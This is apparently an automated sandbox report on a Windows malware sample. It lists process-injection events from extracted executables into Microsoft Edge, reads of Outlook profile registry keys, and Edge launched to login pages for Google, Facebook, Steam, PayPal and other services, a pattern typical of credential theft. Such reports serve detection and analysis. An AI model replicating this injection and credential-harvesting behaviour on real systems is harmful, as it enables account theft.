N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4476 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 4476 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 4476 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe
PID 2116 wrote to memory of 448 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2116 wrote to memory of 448 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 2116 wrote to memory of 448 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe
PID 448 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 4432 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 4432 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1860 wrote to memory of 1136 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1860 wrote to memory of 1136 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 1412 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 1412 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 3500 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 3500 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3500 wrote to memory of 2784 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3500 wrote to memory of 2784 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4036 wrote to memory of 4492 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4036 wrote to memory of 4492 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5028 wrote to memory of 1536 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 5028 wrote to memory of 1536 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 2452 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2452 wrote to memory of 4704 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2452 wrote to memory of 4704 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2644 wrote to memory of 4540 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2644 wrote to memory of 4540 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 2944 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 2944 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2944 wrote to memory of 4920 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2944 wrote to memory of 4920 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 448 wrote to memory of 540 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 540 wrote to memory of 5008 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 540 wrote to memory of 5008 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4432 wrote to memory of 5216 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe

"C:\Users\Admin\AppData\Local\Temp\8957d43878c36ee0ae11246393c9c1ce600536ab817435417e50af86a3f1b055.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\KU2rq84.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Hy65eB3.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x158,0x170,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x180,0x184,0x188,0x15c,0x18c,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x88,0x16c,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.linkedin.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x164,0x174,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,8368250545277315449,11621303847557358483,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,8368250545277315449,11621303847557358483,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2184 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2248 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4TM356LL.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4TM356LL.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,9496775293619022315,4101487575244931902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,9496775293619022315,4101487575244931902,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2020,18178981292838436203,9655722962279678890,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,18178981292838436203,9655722962279678890,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2212 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,11628059687500367374,9233269934754397802,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,11628059687500367374,9233269934754397802,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1480,10763631456962963492,8649956006746957902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

